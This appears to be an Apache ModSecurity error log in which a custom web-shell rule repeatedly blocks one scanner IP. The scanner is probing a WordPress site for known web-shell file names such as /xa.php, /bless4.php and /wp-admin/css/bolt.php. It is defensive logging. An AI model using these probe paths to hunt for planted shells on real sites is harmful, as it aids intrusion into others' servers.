[Sun Apr 12 01:31:51.333947 2026] [:error] [pid 36909:tid 36923] [client 158.158.55.67:6744] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adqFh0Gk5GhxTCzHUOoWPAAAAQw"]
[Sun Apr 12 01:31:52.022642 2026] [:error] [pid 44701:tid 44794] [client 158.158.55.67:14286] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adqFiBGZAP4MrlxEPFc4kQAAAFM"]
[Sun Apr 12 01:31:52.683003 2026] [:error] [pid 36938:tid 36960] [client 158.158.55.67:60812] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adqFiISWpa_VL1JPU6zbrwAAAZQ"]
[Sun Apr 12 01:31:53.509251 2026] [:error] [pid 36938:tid 36959] [client 158.158.55.67:60849] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adqFiYSWpa_VL1JPU6zbsgAAAZM"]
[Sun Apr 12 01:31:54.161006 2026] [:error] [pid 44700:tid 44748] [client 158.158.55.67:36047] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "adqFimryPgh_uW4QPClk0AAAAMQ"]
[Sun Apr 12 01:31:55.090344 2026] [:error] [pid 36938:tid 36950] [client 158.158.55.67:38033] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adqFi4SWpa_VL1JPU6zbtwAAAYo"]
[Sun Apr 12 01:31:55.752473 2026] [:error] [pid 44700:tid 44767] [client 158.158.55.67:35127] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adqFi2ryPgh_uW4QPClk0gAAANc"]
[Sun Apr 12 01:31:56.756148 2026] [:error] [pid 44700:tid 44750] [client 158.158.55.67:19044] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adqFjGryPgh_uW4QPClk1AAAAMY"]
[Sun Apr 12 01:31:57.726398 2026] [:error] [pid 36938:tid 36955] [client 158.158.55.67:16082] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "adqFjYSWpa_VL1JPU6zbwQAAAY8"]
[Sun Apr 12 01:31:58.822634 2026] [:error] [pid 44700:tid 44758] [client 158.158.55.67:36081] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adqFjmryPgh_uW4QPClk2QAAAM4"]
[Sun Apr 12 01:31:59.390911 2026] [:error] [pid 44701:tid 44798] [client 158.158.55.67:44192] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adqFjxGZAP4MrlxEPFc4lwAAAFY"]
[Sun Apr 12 01:32:00.250419 2026] [:error] [pid 34152:tid 34164] [client 158.158.55.67:36047] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adqFkIFtE4RhFslT1Dq9NAAAAAo"]
[Sun Apr 12 01:32:00.998591 2026] [:error] [pid 36909:tid 36914] [client 158.158.55.67:14322] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "adqFkEGk5GhxTCzHUOoWSQAAAQM"]
[Sun Apr 12 01:32:01.805892 2026] [:error] [pid 44700:tid 44748] [client 158.158.55.67:18183] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqFkWryPgh_uW4QPClk3wAAAMQ"]
[Sun Apr 12 01:32:02.427861 2026] [:error] [pid 44700:tid 44767] [client 158.158.55.67:56167] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqFkmryPgh_uW4QPClk4AAAANc"]
[Sun Apr 12 01:32:03.536477 2026] [:error] [pid 44700:tid 44749] [client 158.158.55.67:21260] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqFk2ryPgh_uW4QPClk5wAAAMU"]
[Sun Apr 12 01:32:04.278326 2026] [:error] [pid 44700:tid 44759] [client 158.158.55.67:36092] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqFlGryPgh_uW4QPClk6QAAAM8"]
[Sun Apr 12 01:32:05.036411 2026] [:error] [pid 36909:tid 36930] [client 158.158.55.67:7089] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adqFlUGk5GhxTCzHUOoWUwAAARM"]
[Sun Apr 12 01:32:05.584476 2026] [:error] [pid 44698:tid 44710] [client 158.158.55.67:34516] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adqFlRgoH9UWd-U3D55gAAAAAIc"]
[Sun Apr 12 01:32:06.202094 2026] [:error] [pid 36909:tid 36921] [client 158.158.55.67:56156] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adqFlkGk5GhxTCzHUOoWVgAAAQo"]
[Sun Apr 12 01:32:07.159439 2026] [:error] [pid 36909:tid 36929] [client 158.158.55.67:21307] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adqFl0Gk5GhxTCzHUOoWWQAAARI"]
[Sun Apr 12 01:32:07.828723 2026] [:error] [pid 36909:tid 36915] [client 158.158.55.67:56149] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adqFl0Gk5GhxTCzHUOoWWgAAAQQ"]
[Sun Apr 12 01:32:08.633435 2026] [:error] [pid 44701:tid 44774] [client 158.158.55.67:56154] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adqFmBGZAP4MrlxEPFc4owAAAEI"]
[Sun Apr 12 01:32:09.300755 2026] [:error] [pid 45064:tid 45113] [client 158.158.55.67:7053] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adqFmZcHBvLyJ6EUhUr9eQAAAVQ"]
[Sun Apr 12 01:32:10.153676 2026] [:error] [pid 36909:tid 36920] [client 158.158.55.67:41272] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adqFmkGk5GhxTCzHUOoWXwAAAQk"]
[Sun Apr 12 01:32:10.805038 2026] [:error] [pid 36938:tid 36946] [client 158.158.55.67:18185] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adqFmoSWpa_VL1JPU6zb1QAAAYY"]
[Sun Apr 12 01:32:11.298661 2026] [:error] [pid 36909:tid 36926] [client 158.158.55.67:43545] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adqFm0Gk5GhxTCzHUOoWaAAAAQ8"]
[Sun Apr 12 01:32:11.826793 2026] [:error] [pid 36938:tid 36962] [client 158.158.55.67:36056] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adqFm4SWpa_VL1JPU6zb1wAAAZY"]
[Sun Apr 12 01:32:12.416000 2026] [:error] [pid 36938:tid 36942] [client 158.158.55.67:40577] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adqFnISWpa_VL1JPU6zb2QAAAYI"]
[Sun Apr 12 01:32:13.048855 2026] [:error] [pid 36909:tid 36911] [client 158.158.55.67:21261] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adqFnUGk5GhxTCzHUOoWcQAAAQA"]
[Sun Apr 12 01:32:13.608069 2026] [:error] [pid 44701:tid 44777] [client 158.158.55.67:58105] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adqFnRGZAP4MrlxEPFc4pAAAAEU"]
[Sun Apr 12 01:32:14.249867 2026] [:error] [pid 36938:tid 36958] [client 158.158.55.67:43521] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adqFnoSWpa_VL1JPU6zb3gAAAZI"]
[Sun Apr 12 01:32:14.761000 2026] [:error] [pid 44698:tid 44711] [client 158.158.55.67:59374] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adqFnhgoH9UWd-U3D55gCAAAAIg"]
[Sun Apr 12 01:32:31.446523 2026] [:error] [pid 36938:tid 36962] [client 158.158.55.67:40594] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adqFr4SWpa_VL1JPU6zb-wAAAZY"]
[Sun Apr 12 01:32:32.801927 2026] [:error] [pid 36909:tid 36922] [client 158.158.55.67:34517] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adqFsEGk5GhxTCzHUOoWkAAAAQs"]
[Sun Apr 12 01:32:33.618282 2026] [:error] [pid 36938:tid 36942] [client 158.158.55.67:7077] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adqFsYSWpa_VL1JPU6zcAAAAAYI"]
[Sun Apr 12 01:32:34.765145 2026] [:error] [pid 45064:tid 45092] [client 158.158.55.67:37982] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adqFspcHBvLyJ6EUhUr9lQAAAUA"]
[Sun Apr 12 01:32:35.376674 2026] [:error] [pid 36938:tid 36958] [client 158.158.55.67:59338] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqFs4SWpa_VL1JPU6zcBAAAAZI"]
[Sun Apr 12 01:32:36.161853 2026] [:error] [pid 44698:tid 44709] [client 158.158.55.67:37986] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqFtBgoH9UWd-U3D55gGQAAAIY"]
[Sun Apr 12 01:32:36.872103 2026] [:error] [pid 36909:tid 36934] [client 158.158.55.67:15277] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqFtEGk5GhxTCzHUOoWmAAAARc"]
[Sun Apr 12 01:32:38.235787 2026] [:error] [pid 36938:tid 36964] [client 158.158.55.67:17084] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqFtoSWpa_VL1JPU6zcCAAAAZg"]
[Sun Apr 12 01:32:38.972713 2026] [:error] [pid 34152:tid 34163] [client 158.158.55.67:17083] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "adqFtoFtE4RhFslT1Dq9SgAAAAk"]
[Sun Apr 12 01:32:39.524436 2026] [:error] [pid 45064:tid 45101] [client 158.158.55.67:43575] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "adqFt5cHBvLyJ6EUhUr9mAAAAUg"]
[Sun Apr 12 01:32:40.102829 2026] [:error] [pid 36938:tid 36956] [client 158.158.55.67:17076] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "adqFuISWpa_VL1JPU6zcCQAAAZA"]
[Sun Apr 12 01:32:40.782088 2026] [:error] [pid 34152:tid 34172] [client 158.158.55.67:15281] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "adqFuIFtE4RhFslT1Dq9TgAAABI"]
[Sun Apr 12 01:32:41.433313 2026] [:error] [pid 34152:tid 34158] [client 158.158.55.67:14591] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless4.php"] [unique_id "adqFuYFtE4RhFslT1Dq9UgAAAAQ"]
[Sun Apr 12 01:32:42.002879 2026] [:error] [pid 34152:tid 34161] [client 158.158.55.67:6250] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless4.php"] [unique_id "adqFuoFtE4RhFslT1Dq9UwAAAAc"]
[Sun Apr 12 01:32:42.893171 2026] [:error] [pid 36909:tid 36921] [client 158.158.55.67:14586] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless4.php"] [unique_id "adqFukGk5GhxTCzHUOoWpQAAAQo"]
[Sun Apr 12 01:32:43.967674 2026] [:error] [pid 36938:tid 36962] [client 158.158.55.67:34103] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless4.php"] [unique_id "adqFu4SWpa_VL1JPU6zcDQAAAZY"]
[Sun Apr 12 01:32:44.783217 2026] [:error] [pid 34152:tid 34161] [client 158.158.55.67:40581] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "adqFvIFtE4RhFslT1Dq9XwAAAAc"]
[Sun Apr 12 01:32:45.425014 2026] [:error] [pid 36909:tid 36929] [client 158.158.55.67:30455] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "adqFvUGk5GhxTCzHUOoWpwAAARI"]
[Sun Apr 12 01:32:45.937272 2026] [:error] [pid 34152:tid 34176] [client 158.158.55.67:6811] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "adqFvYFtE4RhFslT1Dq9YgAAABY"]
[Sun Apr 12 01:32:46.536271 2026] [:error] [pid 36909:tid 36931] [client 158.158.55.67:43534] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "adqFvkGk5GhxTCzHUOoWqQAAARQ"]
[Sun Apr 12 01:32:47.141556 2026] [:error] [pid 36909:tid 36920] [client 158.158.55.67:17061] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xqq.php"] [unique_id "adqFv0Gk5GhxTCzHUOoWrAAAAQk"]
[Sun Apr 12 01:32:47.838915 2026] [:error] [pid 34152:tid 34165] [client 158.158.55.67:15290] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xqq.php"] [unique_id "adqFv4FtE4RhFslT1Dq9ZAAAAAs"]
[Sun Apr 12 01:32:48.412793 2026] [:error] [pid 44698:tid 44717] [client 158.158.55.67:34080] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xqq.php"] [unique_id "adqFwBgoH9UWd-U3D55gIgAAAI4"]
